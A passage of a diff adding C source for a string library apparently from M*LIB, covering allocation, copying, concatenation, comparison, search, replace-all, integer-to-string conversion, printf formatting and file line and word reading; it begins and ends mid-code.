+      /* Copy the embedded characters into the new heap allocation */
+      const size_t size = (size_t) v->u.buffer[sizeof(m_str1ng_heap_ct) - 1];
+      memcpy(ptr, &v->u.buffer[0], size+1);
+    }
+    // The string cannot be fully embedded anymore.
+    v->u.heap.ptr = ptr;
+    m_str1ng_set_capacity(v, m, e);
+    // Size is not set as the function is called in context 
+    // where the caller already know the final size of the string,
+    // so it will update it.
+    return ptr;
+  }
+  return m_str1ng_get_cstr(v);
+}
+
+/* Modify the string capacity to be able to handle at least 'alloc'
+   characters (including final nul char).
+   It may reduce the allocation of the string if possible */
+M_P(void, m_string, _reserve, m_string_t v, size_t alloc)
+{
+  M_STR1NG_CONTRACT (v);
+  const size_t size = m_string_size(v);
+  /* NOTE: Reserve below needed size, perform a shrink to fit */
+  if (size + 1 > alloc) {
+    alloc = size+1;
+  }
+  M_ASSERT (alloc > 0);
+  if (alloc < sizeof (m_str1ng_heap_ct)) {
+    // All characters can fit in am embedded structure
+    if (!m_str1ng_embedded_p(v)) {
+      /* Move the characters from the heap to within the structure */
+      char *ptr = &v->u.buffer[0];
+      char *oldptr = v->u.heap.ptr;
+      memcpy(ptr, oldptr, size+1);
+      // Free the allocated memory on the heap
+      M_MEMORY_FREE(m_context, char, oldptr, m_string_capacity(v));
+      v->u.buffer[sizeof(m_string_t)-2] = 0;
+      v->u.buffer[sizeof(m_string_t)-1] = (char) size;
+    } else {
+      /* Already a fully embedded based type: nothing to do */
+    }
+  } else {
+    // Allocation cannot fit in the embedded structure space
+    // Need to allocate in heap space
+    unsigned char m, e;
+    size_t r_alloc = m_str1ng_round_capacity(&m, &e, (m_str1ng_size_t) alloc);
+    if (M_UNLIKELY_NOMEM (alloc > r_alloc)) {
+      M_MEMORY_FULL(char, alloc);
+    } 
+    char *ptr = m_str1ng_embedded_p(v) ? NULL : v->u.heap.ptr;
+    ptr = M_MEMORY_REALLOC (m_context, char, ptr, m_string_capacity(v), r_alloc);
+    if (M_UNLIKELY_NOMEM (ptr == NULL) ) {
+      M_MEMORY_FULL(char, alloc);
+    }
+    if (m_str1ng_embedded_p(v)) {
+      // Copy the characters embedded in the structure to the allocated heap space
+      memcpy(ptr, &v->u.buffer[0], size+1);
+      M_ASSERT(size == (m_str1ng_size_t) size);
+      v->u.heap.size = (m_str1ng_size_t) size;
+    }
+    v->u.heap.ptr = ptr;
+    m_str1ng_set_capacity(v, m, e);
+  }
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Set the string to the C string str */
+M_P(void, m_string, _set_cstr, m_string_t v, const char str[])
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT(str != NULL);
+  size_t size = strlen(str);
+  char *ptr = m_str1ng_fit2size M_R(v, size+1);
+  // The memcpy will also copy the final null char of the string
+  memcpy(ptr, str, size+1);
+  m_str1ng_set_size(v, size);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Set the string to the n first characters of the C string str */
+M_P(void, m_string, _set_cstrn, m_string_t v, const char str[], size_t n)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT(str != NULL);
+  size_t size;
+  char *ptr = m_str1ng_fit2size M_R(v, n+1);
+  for(size = 0; size < n && str[size] != 0; size++) {
+    ptr[size] = str[size];
+  }
+  // Cannot copy the final null char using memcpy
+  ptr[size] = 0;
+  m_str1ng_set_size(v, size);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Set the string to the other one */
+M_P(void, m_string, _set, m_string_t v1, const m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v1);
+  M_STR1NG_CONTRACT (v2);
+  if (M_LIKELY (v1 != v2)) {
+    const size_t size = m_string_size(v2);
+    char *ptr = m_str1ng_fit2size M_R(v1, size+1);
+    memcpy(ptr, m_string_get_cstr(v2), size+1);
+    m_str1ng_set_size(v1, size);
+  }
+  M_STR1NG_CONTRACT (v1);
+}
+
+/* Set the string to the n first characters of other one */
+M_P(void, m_string, _set_n, m_string_t v, const m_string_t ref, size_t offset, size_t length)
+{
+  M_STR1NG_CONTRACT (v);
+  M_STR1NG_CONTRACT (ref);
+  M_ASSERT_INDEX (offset, m_string_size(ref) + 1);
+  size_t size = M_MIN (m_string_size(ref) - offset, length);
+  char *ptr = m_str1ng_fit2size M_R(v, size+1);
+  // v may be equal to ref, so a memmove is needed instead of a memcpy
+  memmove(ptr, m_string_get_cstr(ref) + offset, size);
+  // Cannot copy the final null char using memcpy
+  ptr[size] = 0;
+  m_str1ng_set_size(v, size);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Initialize the string and set it to the other one 
+   (constructor) */
+M_P(void, m_string, _init_set, m_string_t v1, const m_string_t v2)
+{
+  // In case of exception, v1 remains initialized,
+  // but without any allocation done.
+  // Therefore it is safe, not to clear v1 on exception.
+  m_string_init(v1);
+  m_string_set M_R(v1,v2);
+}
+
+/* Initialize the string and set it to the C string
+   (constructor) */
+M_P(void, m_string, _init_set_cstr, m_string_t v1, const char str[])
+{
+  // In case of exception, v1 remains initialized,
+  // but without any allocation done.
+  // Therefore it is safe, not to clear v1 on exception.
+  m_string_init(v1);
+  m_string_set_cstr M_R(v1, str);
+}
+
+/* Initialize the string, set it to the other one,
+   and destroy the other one.
+   (constructor & destructor) */
+M_INLINE void
+m_string_init_move(m_string_t v1, m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v2);
+  memcpy(v1, v2, sizeof (m_string_t));
+  // Note: nullify v2 to be safer
+  v2->u.buffer[sizeof(m_str1ng_heap_ct)-2] = 0;
+  v2->u.buffer[sizeof(m_str1ng_heap_ct)-1] = CHAR_MAX;
+  M_STR1NG_CONTRACT (v1);
+}
+
+/* Swap the two strings v1 and v2 */
+M_INLINE void
+m_string_swap(m_string_t v1, m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v1);
+  M_STR1NG_CONTRACT (v2);
+  m_string_t tmp;
+  memcpy(tmp, v1, sizeof(m_string_t));
+  memcpy(v1,  v2, sizeof(m_string_t));
+  memcpy(v2, tmp, sizeof(m_string_t));
+  M_STR1NG_CONTRACT (v1);
+  M_STR1NG_CONTRACT (v2);
+}
+
+/* Set the string to the other one,
+   and destroy the other one.
+   (destructor) */
+M_P(void, m_string, _move, m_string_t v1, m_string_t v2)
+{
+  m_string_clear M_R(v1);
+  m_string_init_move(v1,v2);
+}
+
+/* Push the byte-character 'c' in the string 'v' */
+M_P(void, m_string, _push_back, m_string_t v, char c)
+{
+  M_STR1NG_CONTRACT (v);
+  const size_t size = m_string_size(v);
+  char *ptr = m_str1ng_fit2size M_R(v, size+2);
+  ptr[size+0] = c;
+  ptr[size+1] = 0;
+  m_str1ng_set_size(v, size+1);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Concatenate the string with the C string */
+M_P(void, m_string, _cat_cstr, m_string_t v, const char str[])
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (str != NULL);
+  const size_t old_size = m_string_size(v);
+  const size_t size = strlen(str);
+  char *ptr = m_str1ng_fit2size M_R(v, old_size + size + 1);
+  memcpy(&ptr[old_size], str, size + 1);
+  m_str1ng_set_size(v, old_size + size);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Concatenate the string with the other string */
+M_P(void, m_string, _cat, m_string_t v, const m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v2);
+  M_STR1NG_CONTRACT (v);
+  const size_t size = m_string_size(v2);
+  if (M_LIKELY (size > 0)) {
+    const size_t old_size = m_string_size(v);
+    char *ptr = m_str1ng_fit2size M_R(v, old_size + size + 1);
+    memcpy(&ptr[old_size], m_string_get_cstr(v2), size);
+    ptr[old_size + size] = 0;
+    m_str1ng_set_size(v, old_size + size);
+  }
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Compare the string to the C string and
+  return the sort order (negative if less, 0 if equal, positive if greater) */
+M_INLINE int
+m_string_cmp_cstr(const m_string_t v1, const char str[])
+{
+  M_STR1NG_CONTRACT (v1);
+  M_ASSERT (str != NULL);
+  return strcmp(m_string_get_cstr(v1), str);
+}
+
+/* Compare the string to the other string and
+  return the sort order (negative if less, 0 if equal, positive if greater) */
+M_INLINE int
+m_string_cmp(const m_string_t v1, const m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v1);
+  M_STR1NG_CONTRACT (v2);
+  return strcmp(m_string_get_cstr(v1), m_string_get_cstr(v2));
+}
+
+/* Test if the string is equal to the given C string */
+M_INLINE bool
+m_string_equal_cstr_p(const m_string_t v1, const char str[])
+{
+  M_STR1NG_CONTRACT(v1);
+  M_ASSERT (str != NULL);
+  return m_string_cmp_cstr(v1, str) == 0;
+}
+
+/* Test if the string is equal to the other string */
+M_INLINE bool
+m_string_equal_p(const m_string_t v1, const m_string_t v2)
+{
+  /* m_string_equal_p can be called with (at most) one string which is an OOR value.
+     In case of OOR value, .ptr is NULL and .alloc is the maximum or the maximum-1.
+     As it will detect a full embedded based string, it will read the size from the alloc fied
+     as 0xFF or 0xFE. In both cases, the size cannot be equal to a normal string
+     so the test m_string_size(v1) == m_string_size(v2) is false in this case.
+  */
+  M_ASSERT(v1 != NULL);
+  M_ASSERT(v2 != NULL);
+  /* Optimization: both strings shall have at least the same size */
+  return m_string_size(v1) == m_string_size(v2)
+      && memcmp(m_string_get_cstr(v1), m_string_get_cstr(v2), m_string_size(v1)) == 0;
+}
+
+/* Test if the string is equal to the C string 
+   (case insensitive according to the current locale)
+   Note: doesn't work with UTF-8 strings.
+*/
+M_INLINE int
+m_string_cmpi_cstr(const m_string_t v1, const char p2[])
+{
+  M_STR1NG_CONTRACT (v1);
+  M_ASSERT (p2 != NULL);
+  // strcasecmp is POSIX only
+  const char *p1 = m_string_get_cstr(v1);
+  int c1, c2;
+  do {
+    // To avoid locale without 1 per 1 mapping.
+    c1 = toupper((unsigned char) *p1++);
+    c2 = toupper((unsigned char) *p2++);
+    c1 = tolower((unsigned char) c1);
+    c2 = tolower((unsigned char) c2);
+  } while (c1 == c2 && c1 != 0);
+  return c1 - c2;
+}
+
+/* Test if the string is equal to the other string 
+   (case insensitive according to the current locale)
+   Note: doesn't work with UTF-8 strings.
+*/
+M_INLINE int
+m_string_cmpi(const m_string_t v1, const m_string_t v2)
+{
+  return m_string_cmpi_cstr(v1, m_string_get_cstr(v2));
+}
+
+/* Search for the position of the character c
+   from the position 'start' (include)  in the string 
+   Return M_STRING_FAILURE if not found.
+   By default, start is zero.
+*/
+M_INLINE size_t
+m_string_search_char (const m_string_t v, char c, size_t start)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT_INDEX (start, m_string_size(v) + 1);
+  const char *p = M_ASSIGN_CAST(const char*,
+                                strchr(m_string_get_cstr(v)+start, c));
+  return p == NULL ? M_STRING_FAILURE : (size_t) (p-m_string_get_cstr(v));
+}
+
+/* Reverse Search for the position of the character c
+   from the position 'start' (include)  in the string 
+   Return M_STRING_FAILURE if not found.
+   By default, start is zero.
+*/
+M_INLINE size_t
+m_string_search_rchar (const m_string_t v, char c, size_t start)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT_INDEX (start, m_string_size(v)+1);
+  // NOTE: Can be implemented in a faster way than the libc function
+  // by scanning backward from the bottom of the string (which is
+  // possible since we know the size).
+  // However, does it worth the effort?
+  const char *p = M_ASSIGN_CAST(const char*,
+                                strrchr(m_string_get_cstr(v)+start, c));
+  return p == NULL ? M_STRING_FAILURE : (size_t) (p-m_string_get_cstr(v));
+}
+
+/* Search for the sub C string in the string from the position start
+   Return M_STRING_FAILURE if not found.
+   By default, start is zero. */
+M_INLINE size_t
+m_string_search_cstr(const m_string_t v, const char str[], size_t start)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT_INDEX (start, m_string_size(v)+1);
+  M_ASSERT (str != NULL);
+  const char *p = M_ASSIGN_CAST(const char*,
+                                strstr(m_string_get_cstr(v)+start, str));
+  return p == NULL ? M_STRING_FAILURE : (size_t) (p-m_string_get_cstr(v));
+}
+
+/* Search for the sub other string v2 in the string v1 from the position start
+   Return M_STRING_FAILURE if not found.
+   By default, start is zero. */
+M_INLINE size_t
+m_string_search (const m_string_t v1, const m_string_t v2, size_t start)
+{
+  M_STR1NG_CONTRACT (v2);
+  M_ASSERT_INDEX (start, m_string_size(v1)+1);
+  return m_string_search_cstr(v1, m_string_get_cstr(v2), start);
+}
+
+/* Search for the first matching character in the given C string 
+   in the string v1 from the position start
+   Return M_STRING_FAILURE if not found.
+   By default, start is zero. */
+M_INLINE size_t
+m_string_search_pbrk(const m_string_t v1, const char first_of[], size_t start)
+{
+  M_STR1NG_CONTRACT (v1);
+  M_ASSERT_INDEX (start, m_string_size(v1)+1);
+  M_ASSERT (first_of != NULL);
+  const char *p = M_ASSIGN_CAST(const char*,
+                                strpbrk(m_string_get_cstr(v1)+start, first_of));
+  return p == NULL ? M_STRING_FAILURE : (size_t) (p-m_string_get_cstr(v1));
+}
+
+/* Compare the string to the C string using strcoll */
+M_INLINE int
+m_string_strcoll_cstr(const m_string_t v, const char str[])
+{
+  M_STR1NG_CONTRACT (v);
+  return strcoll(m_string_get_cstr(v), str);
+}
+
+/* Compare the string to the other string using strcoll */
+M_INLINE int
+m_string_strcoll (const m_string_t v1, const m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v2);
+  return m_string_strcoll_cstr(v1, m_string_get_cstr(v2));
+}
+
+/* Return the number of bytes of the segment of s
+   that consists entirely of bytes in accept */
+M_INLINE size_t
+m_string_spn(const m_string_t v1, const char accept[])
+{
+  M_STR1NG_CONTRACT (v1);
+  M_ASSERT (accept != NULL);
+  return strspn(m_string_get_cstr(v1), accept);
+}
+
+/* Return the number of bytes of the segment of s
+   that consists entirely of bytes not in reject */
+M_INLINE size_t
+m_string_cspn(const m_string_t v1, const char reject[])
+{
+  M_STR1NG_CONTRACT (v1);
+  M_ASSERT (reject != NULL);
+  return strcspn(m_string_get_cstr(v1), reject);
+}
+
+/* Return the string left truncated to the first 'index' bytes */
+M_INLINE void
+m_string_left(m_string_t v, size_t index)
+{
+  M_STR1NG_CONTRACT (v);
+  const size_t size = m_string_size(v);
+  if (index >= size)
+    return;
+  m_str1ng_get_cstr(v)[index] = 0;
+  m_str1ng_set_size(v,index);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Return the string right truncated from the 'index' position to the last position */
+M_INLINE void
+m_string_right(m_string_t v, size_t index)
+{
+  M_STR1NG_CONTRACT (v);
+  char *ptr = m_str1ng_get_cstr(v);
+  const size_t size = m_string_size(v);
+  if (index >= size) {
+    ptr[0] = 0;
+    m_str1ng_set_size(v, 0);
+    M_STR1NG_CONTRACT (v);
+    return;
+  }
+  size_t s2 = size - index;
+  memmove (&ptr[0], &ptr[index], s2+1);
+  m_str1ng_set_size(v, s2);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Return the string from position index to size bytes.
+   See also m_string_set_n
+ */
+M_INLINE void
+m_string_mid (m_string_t v, size_t index, size_t size)
+{
+  m_string_right(v, index);
+  m_string_left(v, size);
+}
+
+/* Replace in the string the first occurrence of the C string str1
+   into the C string str2 from start
+   By default, start is zero.
+*/
+M_P(size_t, m_string, _replace_cstr, m_string_t v, const char str1[], const char str2[], size_t start)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (str1 != NULL && str2 != NULL);
+  size_t i = m_string_search_cstr(v, str1, start);
+  if (i != M_STRING_FAILURE) {
+    const size_t str1_l = strlen(str1);
+    const size_t str2_l = strlen(str2);
+    const size_t size   = m_string_size(v);
+    M_ASSERT(size + 1 + str2_l > str1_l);
+    char *ptr = m_str1ng_fit2size M_R(v, size + str2_l - str1_l + 1);
+    if (str1_l != str2_l) {
+      memmove(&ptr[i+str2_l], &ptr[i+str1_l], size - i - str1_l + 1);
+      m_str1ng_set_size(v, size + str2_l - str1_l);
+    }
+    memcpy (&ptr[i], str2, str2_l);
+    M_STR1NG_CONTRACT (v);
+  }
+  return i;
+}
+
+/* Replace in the string the first occurrence of the C string v1
+   into the C string v2 from start
+   By default, start is zero.
+*/
+M_P(size_t, m_string, _replace, m_string_t v, const m_string_t v1, const m_string_t v2, size_t start)
+{
+  M_STR1NG_CONTRACT (v);
+  M_STR1NG_CONTRACT (v1);
+  M_STR1NG_CONTRACT (v2);
+  return m_string_replace_cstr M_R(v, m_string_get_cstr(v1), m_string_get_cstr(v2), start);
+}
+
+/* Replace in the string the sub-string at position 'pos' for 'len' bytes
+   into the C string str2. */
+M_P(void, m_string, _replace_at, m_string_t v, size_t pos, size_t len, const char str2[])
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT(str2 != NULL);
+  const size_t str1_l = len;
+  const size_t str2_l = strlen(str2);
+  const size_t size   = m_string_size(v);
+  char *ptr;
+  if (str1_l != str2_l) {
+    // Move bytes from the string 
+    M_ASSERT_INDEX (str1_l, size + str2_l + 1);
+    ptr = m_str1ng_fit2size M_R(v, size + str2_l - str1_l + 1);
+    M_ASSERT_INDEX (pos + str1_l, size + 1);
+    M_ASSUME (pos + str1_l < size + 1);
+    memmove(&ptr[pos+str2_l], &ptr[pos+str1_l], size - pos - str1_l + 1);
+    m_str1ng_set_size(v, size + str2_l - str1_l);
+  } else {
+    ptr = m_str1ng_get_cstr(v);
+  }
+  memcpy (&ptr[pos], str2, str2_l);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Replace all occurrences of str1 into str2 when strlen(str1) >= strlen(str2) */
+M_INLINE void
+m_str1ng_replace_all_cstr_1ge2 (m_string_t v, const char str1[], size_t str1len, const char str2[], size_t str2len)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT(str1len >= str2len);
+
+  /* str1len >= str2len so the string doesn't need to be resized */
+  size_t vlen = m_string_size(v);
+  char *org = m_str1ng_get_cstr(v);
+  char *src = org;
+  char *dst = org;
+
+  // Go through all the characters of the string
+  while (*src != 0) {
+    // Get a new occurrence of str1 in the v string.
+    char *occ = strstr(src, str1);
+    if (occ == NULL) {
+      // No new occurrence
+      break;
+    }
+    M_ASSERT(occ >= src);
+    // Copy the data until the new occurrence
+    if (src != dst) {
+      memmove(dst, src, (size_t) (occ - src));
+    }
+    dst += (occ - src);
+    // Copy the replaced string
+    memcpy(dst, str2, str2len);
+    dst += str2len;
+    // Advance src pointer
+    src  = occ + str1len;
+  }
+  // Finish copying the string until the end
+  M_ASSERT (src <= org + vlen );
+  if (src != dst) {
+    memmove(dst, src, (size_t) (org + vlen + 1 - src) );
+  }
+  // Update string size
+  m_str1ng_set_size(v, (size_t) (dst + vlen - src) );
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Reverse strstr from the end of the string
+  org is the start of the string
+  src is the current character pointer (shall be initialized to the end of the string)
+  pattern / pattern_size: the pattern to search.
+  */
+M_INLINE char *
+m_str1ng_strstr_r(char org[], char src[], const char pattern[], size_t pattern_size)
+{
+  M_ASSERT(pattern_size >= 1);
+  src -= pattern_size - 1;
+  while (org <= src) {
+    if (src[0] == pattern[0]
+      && src[pattern_size-1] == pattern[pattern_size-1]
+      && memcmp(src, pattern, pattern_size) == 0) {
+        return src;
+    }
+    src --;
+  }
+  return NULL;
+}
+
+/* Replace all occurences of str1 into str2 when strlen(str1) < strlen(str2) */
+M_P(void, m_str1ng, _replace_all_cstr_1lo2, m_string_t v, const char str1[], size_t str1len, const char str2[], size_t str2len)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT(str1len < str2len);
+
+  /* str1len < str2len so the string may need to be resized
+    Worst case if when v is composed fully of str1 substrings.
+    Needed size : v.size / str1len * str2len
+   */
+  size_t vlen = m_string_size(v);
+  size_t alloc = 1 + vlen / str1len * str2len;
+  char *org = m_str1ng_fit2size M_R(v, alloc);
+  char *src = org + vlen - 1;
+  char *end = org + m_string_capacity(v);
+  char *dst = end;
+
+  // Go through all the characters of the string in reverse !
+  while (src >= org) {
+    char *occ = m_str1ng_strstr_r(org, src, str1, str1len);
+    if (occ == NULL) {
+      break;
+    }
+    M_ASSERT(occ + str1len - 1 <= src);
+    // Copy the data until the new occurrence
+    dst -= (src - (occ + str1len - 1));
+    memmove(dst, occ+str1len, (size_t) (src - (occ + str1len - 1)));
+    // Copy the replaced string
+    dst -= str2len;
+    memcpy(dst, str2, str2len);
+    // Advance src pointer
+    src  = occ - 1;
+  }
+  // Finish moving data back to their natural place
+  memmove(src + 1, dst, (size_t) (end - dst) );
+  // Update string size
+  vlen = (size_t) (src - org + end - dst + 1);
+  org[vlen] = 0;
+  m_str1ng_set_size(v, vlen );
+  M_STR1NG_CONTRACT (v);
+}
+
+M_P(void, m_string, _replace_all_cstr, m_string_t v, const char str1[], const char str2[])
+{
+  size_t str1_l = strlen(str1);
+  size_t str2_l = strlen(str2);
+  M_ASSERT(str1_l > 0);
+  if (str1_l >= str2_l) {
+    m_str1ng_replace_all_cstr_1ge2(v, str1, str1_l, str2, str2_l );
+  } else {
+    m_str1ng_replace_all_cstr_1lo2 M_R(v, str1, str1_l, str2, str2_l);
+  }
+}
+
+M_P(void, m_string, _replace_all, m_string_t v, const m_string_t str1, const m_string_t str2)
+{
+  size_t str1_l = m_string_size(str1);
+  size_t str2_l = m_string_size(str2);
+  M_ASSERT(str1_l > 0);
+  M_ASSERT(str2_l > 0);
+  if (str1_l >= str2_l) {
+    m_str1ng_replace_all_cstr_1ge2(v, m_string_get_cstr(str1), str1_l, m_string_get_cstr(str2), str2_l );
+  } else {
+    m_str1ng_replace_all_cstr_1lo2 M_R(v, m_string_get_cstr(str1), str1_l, m_string_get_cstr(str2), str2_l);
+  }
+}
+
+// Define the fast integer to string conversions if requested
+// or if no support for stdarg.
+#if M_USE_FAST_STRING_CONV == 1 || M_USE_STDARG == 0
+
+  // Compute the maximum number of characters needed for the buffer.
+#if UINT_MAX == 4294967295U
+#define M_STR1NG_INT_MAX_SIZE (10+1)
+#elif UINT_MAX <= 18446744073709551615UL
+#define M_STR1NG_INT_MAX_SIZE (20+1)
+#else
+# error Unexpected UINT_MAX value (workaround: Define M_USE_FAST_STRING_CONV to 0).
+#endif
+
+M_P(void, m_string, _set_ui, m_string_t v, unsigned int n)
+{
+  M_STR1NG_CONTRACT (v);
+  char buffer[M_STR1NG_INT_MAX_SIZE];
+  char *d = m_str1ng_fit2size M_R(v, M_STR1NG_INT_MAX_SIZE+1);
+  unsigned i = 0, j = 0;
+  do {
+    // 0123456789 are mandatory in this order as characters, as per C standard.
+    buffer[i++] = (char) ('0' + (n % 10U));
+    n /= 10U;
+  } while (n != 0);
+  M_ASSERT_INDEX(i, M_STR1NG_INT_MAX_SIZE);
+  while (i > 0) {
+    d[j++] = buffer[--i];
+  }
+  d[j] = 0;
+  m_str1ng_set_size(v, j);
+  M_STR1NG_CONTRACT (v);
+}
+
+M_P(void, m_string, _set_si, m_string_t v, int n)
+{
+  M_STR1NG_CONTRACT (v);
+  // Compute the maximum number of characters needed for the buffer.
+  char buffer[M_STR1NG_INT_MAX_SIZE];
+  char *d = m_str1ng_fit2size M_R(v, M_STR1NG_INT_MAX_SIZE+1);
+  unsigned i = 0, j = 0;
+  bool neg = n < 0;
+  unsigned n0 = neg ? 0U -(unsigned) n : (unsigned) n;
+  do {
+    // 0123456789 are mandatory in this order as characters, as per C standard.
+    buffer[i++] = (char) ('0' + (n0 % 10U));
+    n0 /= 10U;
+  } while (n0 != 0);
+  M_ASSERT_INDEX(i, M_STR1NG_INT_MAX_SIZE);
+  if (neg) d[j++] = '-';
+  while (i > 0) {
+    d[j++] = buffer[--i];
+  }
+  d[j] = 0;
+  m_str1ng_set_size(v, j);
+  M_STR1NG_CONTRACT (v);
+}
+#endif
+
+#if M_USE_STDARG
+
+/* Format in the string the given printf format */
+M_P(int, m_string, _vprintf, m_string_t v, const char format[], va_list args)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (format != NULL);
+  int size;
+  va_list args_org;
+  va_copy(args_org, args);
+  char *ptr = m_str1ng_get_cstr(v);
+  size_t alloc = m_string_capacity(v);
+  size = vsnprintf (ptr, alloc, format, args);
+  if (size > 0 && ((size_t) size+1 >= alloc) ) {
+    // Reset the string in a clean state in case of exception
+    // to keep the object in a clearable state
+    M_IF_EXCEPTION( m_str1ng_set_size(v, 0) );
+    M_IF_EXCEPTION( m_str1ng_get_cstr(v)[0] = 0 );
+    // We have to realloc our string to fit the needed size
+    ptr = m_str1ng_fit2size M_R(v, (size_t) size + 1);
+    alloc = m_string_capacity(v);
+    // and redo the parsing.
+    size = vsnprintf (ptr, alloc, format, args_org);
+    M_ASSERT (size > 0 && (size_t)size < alloc);
+  }
+  if (M_LIKELY (size >= 0)) {
+    m_str1ng_set_size(v, (size_t) size);
+  } else {
+    // An error occurred during the conversion: Assign an empty string.
+    m_str1ng_set_size(v, 0);
+    ptr[0] = 0;
+  }
+  va_end(args_org);
+  M_STR1NG_CONTRACT (v);
+  return size;
+}
+
+/* Format in the string the given printf format */
+// FIXME: BROKEN to add a parameter **after** the '...'!
+M_P(int, m_string, _printf, m_string_t v, const char format[], ...)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (format != NULL);
+  va_list args;
+  va_start (args, format);
+  int ret = m_string_vprintf M_R(v, format, args);
+  va_end (args);
+  return ret;
+}
+
+/* Append to the string the formatted string of the given printf format */
+M_P(int, m_string, _cat_vprintf, m_string_t v, const char format[], va_list args)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (format != NULL);
+  va_list args_org;
+  va_copy(args_org, args);
+  int size;
+  size_t old_size = m_string_size(v);
+  char  *ptr      = m_str1ng_get_cstr(v);
+  size_t alloc    = m_string_capacity(v);
+  size = vsnprintf (&ptr[old_size], alloc - old_size, format, args);
+  if (size > 0 && (old_size+(size_t)size+1 >= alloc) ) {
+    // Reset the string in a clean state in case of exception
+    // to keep the object in a clearable state
+    M_IF_EXCEPTION( m_str1ng_set_size(v, old_size) );
+    M_IF_EXCEPTION( m_str1ng_get_cstr(v)[old_size] = 0 );
+    // We have to realloc our string to fit the needed size
+    ptr = m_str1ng_fit2size M_R(v, old_size + (size_t) size + 1);
+    alloc = m_string_capacity(v);
+    // and redo the parsing.
+    size = vsnprintf (&ptr[old_size], alloc - old_size, format, args_org);
+    M_ASSERT (size >= 0);
+  }
+  if (size >= 0) {
+    m_str1ng_set_size(v, old_size + (size_t) size);
+  } else {
+    // vsnprintf may have output some characters before returning an error.
+    // Undo this to have a clean state
+    ptr[old_size] = 0;
+  }
+  va_end (args_org);
+  M_STR1NG_CONTRACT (v);
+  return size;
+}
+
+/* Append to the string the formatted string of the given printf format */
+M_P(int, m_string, _cat_printf, m_string_t v, const char format[], ...)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (format != NULL);
+  va_list args;
+  va_start (args, format);
+  int ret = m_string_cat_vprintf M_R(v, format, args);
+  va_end (args);
+  return ret;
+}
+
+#if M_USE_FAST_STRING_CONV == 0
+M_P(void, m_string, _set_ui, m_string_t v, unsigned int n)
+{
+  m_string_printf M_R(v, "%u", n);
+}
+M_P(void, m_string, _set_si, m_string_t v, int n)
+{
+  m_string_printf M_R(v, "%d", n);
+}
+#endif
+
+#endif // Have stdarg
+
+#if M_USE_STDIO
+
+/* Get a line/pure-line/file from the FILE and store it in the string */
+M_P(bool, m_string, _fgets, m_string_t v, FILE *f, m_string_fgets_t arg)
+{
+  M_STR1NG_CONTRACT(v);
+  M_ASSERT (f != NULL);
+  char *ptr = m_str1ng_fit2size M_R(v, 100);
+  size_t size = 0;
+  size_t alloc = m_string_capacity(v);
+  ptr[0] = 0;
+  bool retcode = false; /* Nothing has been read yet */
+  /* alloc - size is very unlikely to be bigger than INT_MAX
+    but fgets accepts an int as the size argument */
+  // NOTE: fgets reads at most one less than 'alloc-size' characters from stream
+  while (fgets(&ptr[size], (int) M_MIN( (alloc - size), (size_t) INT_MAX ), f) != NULL) {
+    retcode = true; /* Something has been read */
+    // fgets doesn't return the number of characters read, so we need to count.
+    size += strlen(&ptr[size]);
+    M_ASSERT(size >= 1);
+    if (arg != M_STRING_READ_FILE && ptr[size-1] == '\n') {
+      if (arg == M_STRING_READ_PURE_LINE) {
+        size --;
+        ptr[size] = 0;         /* Remove EOL */
+      }
+      m_str1ng_set_size(v, size);
+      M_STR1NG_CONTRACT(v);
+      return retcode; /* Normal termination */
+    } else if (alloc <= 1 + size) {
+      // Reset the string in a clean state in case of exception
+      // to keep the object in a clearable state
+      M_IF_EXCEPTION( m_str1ng_set_size(v, size) );
+      M_IF_EXCEPTION( m_str1ng_get_cstr(v)[size] = 0 );
+      /* The string buffer is not big enough:
+         increase it and continue reading */
+      /* v cannot be a full embedded type */
+      ptr   = m_str1ng_fit2size M_R(v, alloc + alloc/2);
+      alloc = m_string_capacity(v);
+    }
+  }
+  m_str1ng_set_size(v, size);
+  M_STR1NG_CONTRACT (v);
+  return retcode; /* Abnormal termination */
+}
+
+/* Get a word from the FILE and store it in the string.
+   Words are supposed to be separated each other by the given list of separator
+   separator shall be a CONSTANT C array.
+ */
+M_P(bool, m_string, _fget_word, m_string_t v, const char separator[], FILE *f)
+{
+  char buffer[128];
+  char c = 0;
+  int d;
+  M_STR1NG_CONTRACT(v);
+  M_ASSERT (f != NULL);
+  M_ASSERT_INDEX (1+20+2+strlen(separator)+3, sizeof buffer);
+  size_t size = 0;
+  bool retcode = false;
+
+  /* Skip separator first */
+  do {
+    d = fgetc(f);
+    if (d == EOF) {
+      return false;
+    }
+  } while (strchr(separator, d) != NULL);
+  ungetc(d, f);
+
+  size_t alloc = m_string_capacity(v);
+  char *ptr    = m_str1ng_get_cstr(v);
+  ptr[0] = 0;
+
+  /* NOTE: We generate a buffer which we give to scanf to parse the string,
+     that it is to say, we generate the format dynamically!
+     The format is like " %49[^ \t.\n]%c"
+     So in this case, we parse up to 49 chars, up to the separators char,
